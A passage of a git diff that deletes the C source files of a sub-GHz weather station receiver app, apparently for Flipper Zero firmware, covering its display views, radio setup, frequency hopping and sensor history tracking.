- return true; -} - -void ws_view_receiver_enter(void* context) { - furi_assert(context); -} - -void ws_view_receiver_exit(void* context) { - furi_assert(context); - WSReceiver* ws_receiver = context; - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - furi_string_reset(model->frequency_str); - furi_string_reset(model->preset_str); - furi_string_reset(model->history_stat_str); - for - M_EACH(item_menu, model->history->data, WSReceiverMenuItemArray_t) { - furi_string_free(item_menu->item_str); - item_menu->type = 0; - } - WSReceiverMenuItemArray_reset(model->history->data); - model->idx = 0; - model->list_offset = 0; - model->history_item = 0; - }, - false); - furi_timer_stop(ws_receiver->timer); -} - -WSReceiver* ws_view_receiver_alloc() { - WSReceiver* ws_receiver = malloc(sizeof(WSReceiver)); - - // View allocation and configuration - ws_receiver->view = view_alloc(); - - ws_receiver->lock = WSLockOff; - ws_receiver->lock_count = 0; - view_allocate_model(ws_receiver->view, ViewModelTypeLocking, sizeof(WSReceiverModel)); - view_set_context(ws_receiver->view, ws_receiver); - view_set_draw_callback(ws_receiver->view, (ViewDrawCallback)ws_view_receiver_draw); - view_set_input_callback(ws_receiver->view, ws_view_receiver_input); - view_set_enter_callback(ws_receiver->view, ws_view_receiver_enter); - view_set_exit_callback(ws_receiver->view, ws_view_receiver_exit); - - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - model->frequency_str = furi_string_alloc(); - model->preset_str = furi_string_alloc(); - model->history_stat_str = furi_string_alloc(); - model->bar_show = WSReceiverBarShowDefault; - model->history = malloc(sizeof(WSReceiverHistory)); - model->external_redio = false; - WSReceiverMenuItemArray_init(model->history->data); - }, - true); - ws_receiver->timer = - furi_timer_alloc(ws_view_receiver_timer_callback, FuriTimerTypeOnce, ws_receiver); - return ws_receiver; -} - -void ws_view_receiver_free(WSReceiver* ws_receiver) { - furi_assert(ws_receiver); - - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - furi_string_free(model->frequency_str); - furi_string_free(model->preset_str); - furi_string_free(model->history_stat_str); - for - M_EACH(item_menu, model->history->data, WSReceiverMenuItemArray_t) { - furi_string_free(item_menu->item_str); - item_menu->type = 0; - } - WSReceiverMenuItemArray_clear(model->history->data); - free(model->history); - }, - false); - furi_timer_free(ws_receiver->timer); - view_free(ws_receiver->view); - free(ws_receiver); -} - -View* ws_view_receiver_get_view(WSReceiver* ws_receiver) { - furi_assert(ws_receiver); - return ws_receiver->view; -} - -uint16_t ws_view_receiver_get_idx_menu(WSReceiver* ws_receiver) { - furi_assert(ws_receiver); - uint32_t idx = 0; - with_view_model( - ws_receiver->view, WSReceiverModel * model, { idx = model->idx; }, false); - return idx; -} - -void ws_view_receiver_set_idx_menu(WSReceiver* ws_receiver, uint16_t idx) { - furi_assert(ws_receiver); - with_view_model( - ws_receiver->view, - WSReceiverModel * model, - { - model->idx = idx; - if(model->idx > 2) model->list_offset = idx - 2; - }, - true); - ws_view_receiver_update_offset(ws_receiver); -} diff --git a/applications/external/weather_station/views/weather_station_receiver.h b/applications/external/weather_station/views/weather_station_receiver.h deleted file mode 100644 index ade61e2dc..000000000 --- a/applications/external/weather_station/views/weather_station_receiver.h +++ /dev/null @@ -1,39 +0,0 @@ -#pragma once - -#include -#include "../helpers/weather_station_types.h" -#include "../helpers/weather_station_event.h" - -typedef struct WSReceiver WSReceiver; - -typedef void (*WSReceiverCallback)(WSCustomEvent event, void* context); - -void ws_view_receiver_set_rssi(WSReceiver* instance, float rssi); - -void ws_view_receiver_set_lock(WSReceiver* ws_receiver, WSLock keyboard); - -void ws_view_receiver_set_callback( - WSReceiver* ws_receiver, - WSReceiverCallback callback, - void* context); - -WSReceiver* ws_view_receiver_alloc(); - -void ws_view_receiver_free(WSReceiver* ws_receiver); - -View* ws_view_receiver_get_view(WSReceiver* ws_receiver); - -void ws_view_receiver_add_data_statusbar( - WSReceiver* ws_receiver, - const char* frequency_str, - const char* preset_str, - const char* history_stat_str, - bool external); - -void ws_view_receiver_add_item_to_menu(WSReceiver* ws_receiver, const char* name, uint8_t type); - -uint16_t ws_view_receiver_get_idx_menu(WSReceiver* ws_receiver); - -void ws_view_receiver_set_idx_menu(WSReceiver* ws_receiver, uint16_t idx); - -void ws_view_receiver_exit(void* context); diff --git a/applications/external/weather_station/views/weather_station_receiver_info.c b/applications/external/weather_station/views/weather_station_receiver_info.c deleted file mode 100644 index b3b3f2193..000000000 --- a/applications/external/weather_station/views/weather_station_receiver_info.c +++ /dev/null @@ -1,245 +0,0 @@ -#include "weather_station_receiver.h" -#include "../weather_station_app_i.h" -#include "weather_station_icons.h" -#include "../protocols/ws_generic.h" -#include -#include -#include - -struct WSReceiverInfo { - View* view; - FuriTimer* timer; -}; - -typedef struct { - uint32_t curr_ts; - FuriString* protocol_name; - WSBlockGeneric* generic; -} WSReceiverInfoModel; - -void ws_view_receiver_info_update(WSReceiverInfo* ws_receiver_info, FlipperFormat* fff) { - furi_assert(ws_receiver_info); - furi_assert(fff); - - with_view_model( - ws_receiver_info->view, - WSReceiverInfoModel * model, - { - flipper_format_rewind(fff); - flipper_format_read_string(fff, "Protocol", model->protocol_name); - - ws_block_generic_deserialize(model->generic, fff); - - FuriHalRtcDateTime curr_dt; - furi_hal_rtc_get_datetime(&curr_dt); - model->curr_ts = furi_hal_rtc_datetime_to_timestamp(&curr_dt); - }, - true); -} - -void ws_view_receiver_info_draw(Canvas* canvas, WSReceiverInfoModel* model) { - char buffer[64]; - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - - snprintf( - buffer, - sizeof(buffer), - "%s %db", - furi_string_get_cstr(model->protocol_name), - model->generic->data_count_bit); - canvas_draw_str(canvas, 0, 8, buffer); - - if(model->generic->channel != WS_NO_CHANNEL) { - snprintf(buffer, sizeof(buffer), "Ch: %01d", model->generic->channel); - canvas_draw_str(canvas, 106, 8, buffer); - } - - if(model->generic->id != WS_NO_ID) { - snprintf(buffer, sizeof(buffer), "Sn: 0x%02lX", model->generic->id); - canvas_draw_str(canvas, 0, 20, buffer); - } - - if(model->generic->btn != WS_NO_BTN) { - snprintf(buffer, sizeof(buffer), "Btn: %01d", model->generic->btn); - canvas_draw_str(canvas, 57, 20, buffer); - } - - if(model->generic->battery_low != WS_NO_BATT) { - snprintf( - buffer, sizeof(buffer), "Batt: %s", (!model->generic->battery_low ? "ok" : "low")); - canvas_draw_str_aligned(canvas, 126, 17, AlignRight, AlignCenter, buffer); - } - - snprintf(buffer, sizeof(buffer), "Data: 0x%llX", model->generic->data); - canvas_draw_str(canvas, 0, 32, buffer); - - elements_bold_rounded_frame(canvas, 0, 38, 127, 25); - canvas_set_font(canvas, FontPrimary); - - if(!float_is_equal(model->generic->temp, WS_NO_TEMPERATURE)) { - canvas_draw_icon(canvas, 6, 43, &I_Therm_7x16); - - uint8_t temp_x1 = 0; - uint8_t temp_x2 = 0; - if(furi_hal_rtc_get_locale_units() == FuriHalRtcLocaleUnitsMetric) { - snprintf(buffer, sizeof(buffer), "%3.1f C", (double)model->generic->temp); - if(model->generic->temp < -9.0f) { - temp_x1 = 49; - temp_x2 = 40; - } else { - temp_x1 = 47; - temp_x2 = 38; - } - } else { - snprintf( - buffer, - sizeof(buffer), - "%3.1f F", - (double)locale_celsius_to_fahrenheit(model->generic->temp)); - if((model->generic->temp < -27.77f) || (model->generic->temp > 37.77f)) { - temp_x1 = 50; - temp_x2 = 42; - } else { - temp_x1 = 48; - temp_x2 = 40; - } - } - - canvas_draw_str_aligned(canvas, temp_x1, 47, AlignRight, AlignTop, buffer); - canvas_draw_circle(canvas, temp_x2, 46, 1); - } - - if(model->generic->humidity != WS_NO_HUMIDITY) { - canvas_draw_icon(canvas, 53, 44, &I_Humid_8x13); - snprintf(buffer, sizeof(buffer), "%d%%", model->generic->humidity); - canvas_draw_str(canvas, 64, 55, buffer); - } - - if((int)model->generic->timestamp > 0 && model->curr_ts) { - int ts_diff = (int)model->curr_ts - (int)model->generic->timestamp; - - canvas_draw_icon(canvas, 91, 46, &I_Timer_11x11); - - if(ts_diff > 60) { - int tmp_sec = ts_diff; - int cnt_min = 1; - for(int i = 1; tmp_sec > 60; i++) { - tmp_sec = tmp_sec - 60; - cnt_min = i; - } - - if(model->curr_ts % 2 == 0) { - canvas_draw_str_aligned(canvas, 105, 51, AlignLeft, AlignCenter, "Old"); - } else { - if(cnt_min >= 59) { - canvas_draw_str_aligned(canvas, 105, 51, AlignLeft, AlignCenter, "Old"); - } else { - snprintf(buffer, sizeof(buffer), "%dm", cnt_min); - canvas_draw_str_aligned(canvas, 114, 51, AlignCenter, AlignCenter, buffer); - } - } - - } else { - snprintf(buffer, sizeof(buffer), "%d", ts_diff); - canvas_draw_str_aligned(canvas, 112, 51, AlignCenter, AlignCenter, buffer); - } - } -} - -bool ws_view_receiver_info_input(InputEvent* event, void* context) { - furi_assert(context); - //WSReceiverInfo* ws_receiver_info = context; - - if(event->key == InputKeyBack) { - return false; - } - - return true; -} - -static void ws_view_receiver_info_enter(void* context) { - furi_assert(context); - WSReceiverInfo* ws_receiver_info = context; - - furi_timer_start(ws_receiver_info->timer, 1000); -} - -static void ws_view_receiver_info_exit(void* context) { - furi_assert(context); - WSReceiverInfo* ws_receiver_info = context; - - furi_timer_stop(ws_receiver_info->timer); - - with_view_model( - ws_receiver_info->view, - WSReceiverInfoModel * model, - { furi_string_reset(model->protocol_name); }, - false); -} - -static void ws_view_receiver_info_timer(void* context) { - WSReceiverInfo* ws_receiver_info = context; - // Force redraw - with_view_model( - ws_receiver_info->view, - WSReceiverInfoModel * model, - { - FuriHalRtcDateTime curr_dt; - furi_hal_rtc_get_datetime(&curr_dt); - model->curr_ts = furi_hal_rtc_datetime_to_timestamp(&curr_dt); - }, - true); -} - -WSReceiverInfo* ws_view_receiver_info_alloc() { - WSReceiverInfo* ws_receiver_info = malloc(sizeof(WSReceiverInfo)); - - // View allocation and configuration - ws_receiver_info->view = view_alloc(); - - view_allocate_model(ws_receiver_info->view, ViewModelTypeLocking, sizeof(WSReceiverInfoModel)); - view_set_context(ws_receiver_info->view, ws_receiver_info); - view_set_draw_callback(ws_receiver_info->view, (ViewDrawCallback)ws_view_receiver_info_draw); - view_set_input_callback(ws_receiver_info->view, ws_view_receiver_info_input); - view_set_enter_callback(ws_receiver_info->view, ws_view_receiver_info_enter); - view_set_exit_callback(ws_receiver_info->view, ws_view_receiver_info_exit); - - with_view_model( - ws_receiver_info->view, - WSReceiverInfoModel * model, - { - model->generic = malloc(sizeof(WSBlockGeneric)); - model->protocol_name = furi_string_alloc(); - }, - true); - - ws_receiver_info->timer = - furi_timer_alloc(ws_view_receiver_info_timer, FuriTimerTypePeriodic, ws_receiver_info); - - return ws_receiver_info; -} - -void ws_view_receiver_info_free(WSReceiverInfo* ws_receiver_info) { - furi_assert(ws_receiver_info); - - furi_timer_free(ws_receiver_info->timer); - - with_view_model( - ws_receiver_info->view, - WSReceiverInfoModel * model, - { - furi_string_free(model->protocol_name); - free(model->generic); - }, - false); - - view_free(ws_receiver_info->view); - free(ws_receiver_info); -} - -View* ws_view_receiver_info_get_view(WSReceiverInfo* ws_receiver_info) { - furi_assert(ws_receiver_info); - return ws_receiver_info->view; -} diff --git a/applications/external/weather_station/views/weather_station_receiver_info.h b/applications/external/weather_station/views/weather_station_receiver_info.h deleted file mode 100644 index 705434a23..000000000 --- a/applications/external/weather_station/views/weather_station_receiver_info.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include -#include "../helpers/weather_station_types.h" -#include "../helpers/weather_station_event.h" -#include - -typedef struct WSReceiverInfo WSReceiverInfo; - -void ws_view_receiver_info_update(WSReceiverInfo* ws_receiver_info, FlipperFormat* fff); - -WSReceiverInfo* ws_view_receiver_info_alloc(); - -void ws_view_receiver_info_free(WSReceiverInfo* ws_receiver_info); - -View* ws_view_receiver_info_get_view(WSReceiverInfo* ws_receiver_info); diff --git a/applications/external/weather_station/weather_station_10px.png b/applications/external/weather_station/weather_station_10px.png deleted file mode 100644 index 7d5cc318c..000000000 Binary files a/applications/external/weather_station/weather_station_10px.png and /dev/null differ diff --git a/applications/external/weather_station/weather_station_app.c b/applications/external/weather_station/weather_station_app.c deleted file mode 100644 index 2305fa77b..000000000 --- a/applications/external/weather_station/weather_station_app.c +++ /dev/null @@ -1,188 +0,0 @@ -#include "weather_station_app_i.h" - -#include -#include -#include "protocols/protocol_items.h" - -static bool weather_station_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - WeatherStationApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool weather_station_app_back_event_callback(void* context) { - furi_assert(context); - WeatherStationApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void weather_station_app_tick_event_callback(void* context) { - furi_assert(context); - WeatherStationApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -WeatherStationApp* weather_station_app_alloc() { - WeatherStationApp* app = malloc(sizeof(WeatherStationApp)); - - // GUI - app->gui = furi_record_open(RECORD_GUI); - - // View Dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&weather_station_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, weather_station_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, weather_station_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, weather_station_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - // Variable Item List - app->variable_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - WeatherStationViewVariableItemList, - variable_item_list_get_view(app->variable_item_list)); - - // SubMenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WeatherStationViewSubmenu, submenu_get_view(app->submenu)); - - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WeatherStationViewWidget, widget_get_view(app->widget)); - - // Receiver - app->ws_receiver = ws_view_receiver_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - WeatherStationViewReceiver, - ws_view_receiver_get_view(app->ws_receiver)); - - // Receiver Info - app->ws_receiver_info = ws_view_receiver_info_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - WeatherStationViewReceiverInfo, - ws_view_receiver_info_get_view(app->ws_receiver_info)); - - //init setting - app->setting = subghz_setting_alloc(); - - //ToDo FIX file name setting - subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user")); - - //init Worker & Protocol & History - app->lock = WSLockOff; - app->txrx = malloc(sizeof(WeatherStationTxRx)); - app->txrx->preset = malloc(sizeof(SubGhzRadioPreset)); - app->txrx->preset->name = furi_string_alloc(); - ws_preset_init(app, "AM650", subghz_setting_get_default_frequency(app->setting), NULL, 0); - - app->txrx->hopper_state = WSHopperStateOFF; - app->txrx->history = ws_history_alloc(); - app->txrx->worker = subghz_worker_alloc(); - app->txrx->environment = subghz_environment_alloc(); - subghz_environment_set_protocol_registry( - app->txrx->environment, (void*)&weather_station_protocol_registry); - app->txrx->receiver = subghz_receiver_alloc_init(app->txrx->environment); - - subghz_devices_init(); - - app->txrx->radio_device = - radio_device_loader_set(app->txrx->radio_device, SubGhzRadioDeviceTypeExternalCC1101); - - subghz_devices_reset(app->txrx->radio_device); - subghz_devices_idle(app->txrx->radio_device); - - subghz_receiver_set_filter(app->txrx->receiver, SubGhzProtocolFlag_Decodable); - subghz_worker_set_overrun_callback( - app->txrx->worker, (SubGhzWorkerOverrunCallback)subghz_receiver_reset); - subghz_worker_set_pair_callback( - app->txrx->worker, (SubGhzWorkerPairCallback)subghz_receiver_decode); - subghz_worker_set_context(app->txrx->worker, app->txrx->receiver); - - furi_hal_power_suppress_charge_enter(); - - scene_manager_next_scene(app->scene_manager, WeatherStationSceneStart); - - return app; -} - -void weather_station_app_free(WeatherStationApp* app) { - furi_assert(app); - - subghz_devices_sleep(app->txrx->radio_device); - radio_device_loader_end(app->txrx->radio_device); - - subghz_devices_deinit(); - - // Submenu - view_dispatcher_remove_view(app->view_dispatcher, WeatherStationViewSubmenu); - submenu_free(app->submenu); - - // Variable Item List - view_dispatcher_remove_view(app->view_dispatcher, WeatherStationViewVariableItemList); - variable_item_list_free(app->variable_item_list); - - // Widget - view_dispatcher_remove_view(app->view_dispatcher, WeatherStationViewWidget); - widget_free(app->widget); - - // Receiver - view_dispatcher_remove_view(app->view_dispatcher, WeatherStationViewReceiver); - ws_view_receiver_free(app->ws_receiver); - - // Receiver Info - view_dispatcher_remove_view(app->view_dispatcher, WeatherStationViewReceiverInfo); - ws_view_receiver_info_free(app->ws_receiver_info); - - //setting - subghz_setting_free(app->setting); - - //Worker & Protocol & History - subghz_receiver_free(app->txrx->receiver); - subghz_environment_free(app->txrx->environment); - ws_history_free(app->txrx->history); - subghz_worker_free(app->txrx->worker); - furi_string_free(app->txrx->preset->name); - free(app->txrx->preset); - free(app->txrx); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - app->notifications = NULL; - - // Close records - furi_record_close(RECORD_GUI); - - furi_hal_power_suppress_charge_exit(); - - free(app); -} - -int32_t weather_station_app(void* p) { - UNUSED(p); - WeatherStationApp* weather_station_app = weather_station_app_alloc(); - - view_dispatcher_run(weather_station_app->view_dispatcher); - - weather_station_app_free(weather_station_app); - - return 0; -} diff --git a/applications/external/weather_station/weather_station_app_i.c b/applications/external/weather_station/weather_station_app_i.c deleted file mode 100644 index e98c61ee5..000000000 --- a/applications/external/weather_station/weather_station_app_i.c +++ /dev/null @@ -1,155 +0,0 @@ -#include "weather_station_app_i.h" - -#define TAG "WeatherStation" -#include - -void ws_preset_init( - void* context, - const char* preset_name, - uint32_t frequency, - uint8_t* preset_data, - size_t preset_data_size) { - furi_assert(context); - WeatherStationApp* app = context; - furi_string_set(app->txrx->preset->name, preset_name); - app->txrx->preset->frequency = frequency; - app->txrx->preset->data = preset_data; - app->txrx->preset->data_size = preset_data_size; -} - -bool ws_set_preset(WeatherStationApp* app, const char* preset) { - if(!strcmp(preset, "FuriHalSubGhzPresetOok270Async")) { - furi_string_set(app->txrx->preset->name, "AM270"); - } else if(!strcmp(preset, "FuriHalSubGhzPresetOok650Async")) { - furi_string_set(app->txrx->preset->name, "AM650"); - } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev238Async")) { - furi_string_set(app->txrx->preset->name, "FM238"); - } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev476Async")) { - furi_string_set(app->txrx->preset->name, "FM476"); - } else if(!strcmp(preset, "FuriHalSubGhzPresetCustom")) { - furi_string_set(app->txrx->preset->name, "CUSTOM"); - } else { - FURI_LOG_E(TAG, "Unknown preset"); - return false; - } - return true; -} - -void ws_get_frequency_modulation( - WeatherStationApp* app, - FuriString* frequency, - FuriString* modulation) { - furi_assert(app); - if(frequency != NULL) { - furi_string_printf( - frequency, - "%03ld.%02ld", - app->txrx->preset->frequency / 1000000 % 1000, - app->txrx->preset->frequency / 10000 % 100); - } - if(modulation != NULL) { - furi_string_printf(modulation, "%.2s", furi_string_get_cstr(app->txrx->preset->name)); - } -} - -void ws_begin(WeatherStationApp* app, uint8_t* preset_data) { - furi_assert(app); - subghz_devices_reset(app->txrx->radio_device); - subghz_devices_idle(app->txrx->radio_device); - subghz_devices_load_preset(app->txrx->radio_device, FuriHalSubGhzPresetCustom, preset_data); - app->txrx->txrx_state = WSTxRxStateIDLE; -} - -uint32_t ws_rx(WeatherStationApp* app, uint32_t frequency) { - furi_assert(app); - if(!subghz_devices_is_frequency_valid(app->txrx->radio_device, frequency)) { - furi_crash("WeatherStation: Incorrect RX frequency."); - } - furi_assert( - app->txrx->txrx_state != WSTxRxStateRx && app->txrx->txrx_state != WSTxRxStateSleep); - - subghz_devices_idle(app->txrx->radio_device); - uint32_t value = subghz_devices_set_frequency(app->txrx->radio_device, frequency); - subghz_devices_flush_rx(app->txrx->radio_device); - subghz_devices_set_rx(app->txrx->radio_device); - - subghz_devices_start_async_rx( - app->txrx->radio_device, subghz_worker_rx_callback, app->txrx->worker); - - subghz_worker_start(app->txrx->worker); - app->txrx->txrx_state = WSTxRxStateRx; - return value; -} - -void ws_idle(WeatherStationApp* app) { - furi_assert(app); - furi_assert(app->txrx->txrx_state != WSTxRxStateSleep); - subghz_devices_idle(app->txrx->radio_device); - app->txrx->txrx_state = WSTxRxStateIDLE; -} - -void ws_rx_end(WeatherStationApp* app) { - furi_assert(app); - furi_assert(app->txrx->txrx_state == WSTxRxStateRx); - if(subghz_worker_is_running(app->txrx->worker)) { - subghz_worker_stop(app->txrx->worker); - subghz_devices_stop_async_rx(app->txrx->radio_device); - } - subghz_devices_idle(app->txrx->radio_device); - app->txrx->txrx_state = WSTxRxStateIDLE; -} - -void ws_sleep(WeatherStationApp* app) { - furi_assert(app); - subghz_devices_sleep(app->txrx->radio_device); - app->txrx->txrx_state = WSTxRxStateSleep; -} - -void ws_hopper_update(WeatherStationApp* app) { - furi_assert(app); - - switch(app->txrx->hopper_state) { - case WSHopperStateOFF: - case WSHopperStatePause: - return; - case WSHopperStateRSSITimeOut: - if(app->txrx->hopper_timeout != 0) { - app->txrx->hopper_timeout--; - return; - } - break; - default: - break; - } - float rssi = -127.0f; - if(app->txrx->hopper_state != WSHopperStateRSSITimeOut) { - // See RSSI Calculation timings in CC1101 17.3 RSSI - rssi = subghz_devices_get_rssi(app->txrx->radio_device); - - // Stay if RSSI is high enough - if(rssi > -90.0f) { - app->txrx->hopper_timeout = 10; - app->txrx->hopper_state = WSHopperStateRSSITimeOut; - return; - } - } else { - app->txrx->hopper_state = WSHopperStateRunnig; - } - // Select next frequency - if(app->txrx->hopper_idx_frequency < - subghz_setting_get_hopper_frequency_count(app->setting) - 1) { - app->txrx->hopper_idx_frequency++; - } else { - app->txrx->hopper_idx_frequency = 0; - } - - if(app->txrx->txrx_state == WSTxRxStateRx) { - ws_rx_end(app); - }; - if(app->txrx->txrx_state == WSTxRxStateIDLE) { - subghz_receiver_reset(app->txrx->receiver); - app->txrx->preset->frequency = - subghz_setting_get_hopper_frequency(app->setting, app->txrx->hopper_idx_frequency); - ws_rx(app, app->txrx->preset->frequency); - } -} diff --git a/applications/external/weather_station/weather_station_app_i.h b/applications/external/weather_station/weather_station_app_i.h deleted file mode 100644 index 0950f5975..000000000 --- a/applications/external/weather_station/weather_station_app_i.h +++ /dev/null @@ -1,76 +0,0 @@ -#pragma once - -#include "helpers/weather_station_types.h" - -#include "scenes/weather_station_scene.h" -#include -#include -#include -#include -#include -#include -#include -#include "views/weather_station_receiver.h" -#include "views/weather_station_receiver_info.h" -#include "weather_station_history.h" - -#include -#include -#include -#include -#include - -#include "helpers/radio_device_loader.h" - -typedef struct WeatherStationApp WeatherStationApp; - -struct WeatherStationTxRx { - SubGhzWorker* worker; - - const SubGhzDevice* radio_device; - SubGhzEnvironment* environment; - SubGhzReceiver* receiver; - SubGhzRadioPreset* preset; - WSHistory* history; - uint16_t idx_menu_chosen; - WSTxRxState txrx_state; - WSHopperState hopper_state; - uint8_t hopper_timeout; - uint8_t hopper_idx_frequency; - WSRxKeyState rx_key_state; -}; - -typedef struct WeatherStationTxRx WeatherStationTxRx; - -struct WeatherStationApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - WeatherStationTxRx* txrx; - SceneManager* scene_manager; - NotificationApp* notifications; - VariableItemList* variable_item_list; - Submenu* submenu; - Widget* widget; - WSReceiver* ws_receiver; - WSReceiverInfo* ws_receiver_info; - WSLock lock; - SubGhzSetting* setting; -}; - -void ws_preset_init( - void* context, - const char* preset_name, - uint32_t frequency, - uint8_t* preset_data, - size_t preset_data_size); -bool ws_set_preset(WeatherStationApp* app, const char* preset); -void ws_get_frequency_modulation( - WeatherStationApp* app, - FuriString* frequency, - FuriString* modulation); -void ws_begin(WeatherStationApp* app, uint8_t* preset_data); -uint32_t ws_rx(WeatherStationApp* app, uint32_t frequency); -void ws_idle(WeatherStationApp* app); -void ws_rx_end(WeatherStationApp* app); -void ws_sleep(WeatherStationApp* app); -void ws_hopper_update(WeatherStationApp* app); diff --git a/applications/external/weather_station/weather_station_history.c b/applications/external/weather_station/weather_station_history.c deleted file mode 100644 index 9adff39c6..000000000 --- a/applications/external/weather_station/weather_station_history.c +++ /dev/null @@ -1,245 +0,0 @@ -#include "weather_station_history.h" -#include -#include -#include -#include "protocols/ws_generic.h" - -#include - -#define WS_HISTORY_MAX 50 -#define TAG "WSHistory" - -typedef struct { - FuriString* item_str; - FlipperFormat* flipper_string; - uint8_t type; - uint32_t id; - SubGhzRadioPreset* preset; -} WSHistoryItem; - -ARRAY_DEF(WSHistoryItemArray, WSHistoryItem, M_POD_OPLIST) - -#define M_OPL_WSHistoryItemArray_t() ARRAY_OPLIST(WSHistoryItemArray, M_POD_OPLIST) - -typedef struct { - WSHistoryItemArray_t data; -} WSHistoryStruct; - -struct WSHistory { - uint32_t last_update_timestamp; - uint16_t last_index_write; - uint8_t code_last_hash_data; - FuriString* tmp_string; - WSHistoryStruct* history; -}; - -WSHistory* ws_history_alloc(void) { - WSHistory* instance = malloc(sizeof(WSHistory)); - instance->tmp_string = furi_string_alloc(); - instance->history = malloc(sizeof(WSHistoryStruct)); - WSHistoryItemArray_init(instance->history->data); - return instance; -} - -void ws_history_free(WSHistory* instance) { - furi_assert(instance); - furi_string_free(instance->tmp_string); - for - M_EACH(item, instance->history->data, WSHistoryItemArray_t) { - furi_string_free(item->item_str); - furi_string_free(item->preset->name); - free(item->preset); - flipper_format_free(item->flipper_string); - item->type = 0; - } - WSHistoryItemArray_clear(instance->history->data); - free(instance->history); - free(instance); -} - -uint32_t ws_history_get_frequency(WSHistory* instance, uint16_t idx) { - furi_assert(instance); - WSHistoryItem* item = WSHistoryItemArray_get(instance->history->data, idx); - return item->preset->frequency; -} - -SubGhzRadioPreset* ws_history_get_radio_preset(WSHistory* instance, uint16_t idx) { - furi_assert(instance); - WSHistoryItem* item = WSHistoryItemArray_get(instance->history->data, idx); - return item->preset; -} - -const char* ws_history_get_preset(WSHistory* instance, uint16_t idx) { - furi_assert(instance); - WSHistoryItem* item = WSHistoryItemArray_get(instance->history->data, idx); - return furi_string_get_cstr(item->preset->name); -} - -void ws_history_reset(WSHistory* instance) { - furi_assert(instance); - furi_string_reset(instance->tmp_string); - for - M_EACH(item, instance->history->data, WSHistoryItemArray_t) { - furi_string_free(item->item_str); - furi_string_free(item->preset->name); - free(item->preset); - flipper_format_free(item->flipper_string); - item->type = 0; - } - WSHistoryItemArray_reset(instance->history->data); - instance->last_index_write = 0; - instance->code_last_hash_data = 0; -} - -uint16_t ws_history_get_item(WSHistory* instance) { - furi_assert(instance); - return instance->last_index_write; -} - -uint8_t ws_history_get_type_protocol(WSHistory* instance, uint16_t idx) { - furi_assert(instance); - WSHistoryItem* item = WSHistoryItemArray_get(instance->history->data, idx); - return item->type; -} - -const char* ws_history_get_protocol_name(WSHistory* instance, uint16_t idx) { - furi_assert(instance); - WSHistoryItem* item = WSHistoryItemArray_get(instance->history->data, idx); - flipper_format_rewind(item->flipper_string); - if(!flipper_format_read_string(item->flipper_string, "Protocol", instance->tmp_string)) { - FURI_LOG_E(TAG, "Missing Protocol"); - furi_string_reset(instance->tmp_string); - } - return furi_string_get_cstr(instance->tmp_string); -} - -FlipperFormat* ws_history_get_raw_data(WSHistory* instance, uint16_t idx) { - furi_assert(instance); - WSHistoryItem* item = WSHistoryItemArray_get(instance->history->data, idx); - if(item->flipper_string) { - return item->flipper_string; - } else { - return NULL; - } -} -bool ws_history_get_text_space_left(WSHistory* instance, FuriString* output) { - furi_assert(instance); - if(instance->last_index_write == WS_HISTORY_MAX) { - if(output != NULL) furi_string_printf(output, "Memory is FULL"); - return true; - } - if(output != NULL) - furi_string_printf(output, "%02u/%02u", instance->last_index_write, WS_HISTORY_MAX); - return false; -} - -void ws_history_get_text_item_menu(WSHistory* instance, FuriString* output, uint16_t idx) { - WSHistoryItem* item = WSHistoryItemArray_get(instance->history->data, idx); - furi_string_set(output, item->item_str); -} - -WSHistoryStateAddKey - ws_history_add_to_history(WSHistory* instance, void* context, SubGhzRadioPreset* preset) { - furi_assert(instance); - furi_assert(context); - - if(instance->last_index_write >= WS_HISTORY_MAX) return WSHistoryStateAddKeyOverflow; - - SubGhzProtocolDecoderBase* decoder_base = context; - if((instance->code_last_hash_data == - subghz_protocol_decoder_base_get_hash_data(decoder_base)) && - ((furi_get_tick() - instance->last_update_timestamp) < 500)) { - instance->last_update_timestamp = furi_get_tick(); - return WSHistoryStateAddKeyTimeOut; - } - - instance->code_last_hash_data = subghz_protocol_decoder_base_get_hash_data(decoder_base); - instance->last_update_timestamp = furi_get_tick(); - - FlipperFormat* fff = flipper_format_string_alloc(); - uint32_t id = 0; - subghz_protocol_decoder_base_serialize(decoder_base, fff, preset); - - do { - if(!flipper_format_rewind(fff)) { - FURI_LOG_E(TAG, "Rewind error"); - break; - } - if(!flipper_format_read_uint32(fff, "Id", (uint32_t*)&id, 1)) { - FURI_LOG_E(TAG, "Missing Id"); - break; - } - } while(false); - flipper_format_free(fff); - - //Update record if found - bool sensor_found = false; - for(size_t i = 0; i < WSHistoryItemArray_size(instance->history->data); i++) { - WSHistoryItem* item = WSHistoryItemArray_get(instance->history->data, i); - if(item->id == id) { - sensor_found = true; - Stream* flipper_string_stream = flipper_format_get_raw_stream(item->flipper_string); - stream_clean(flipper_string_stream); 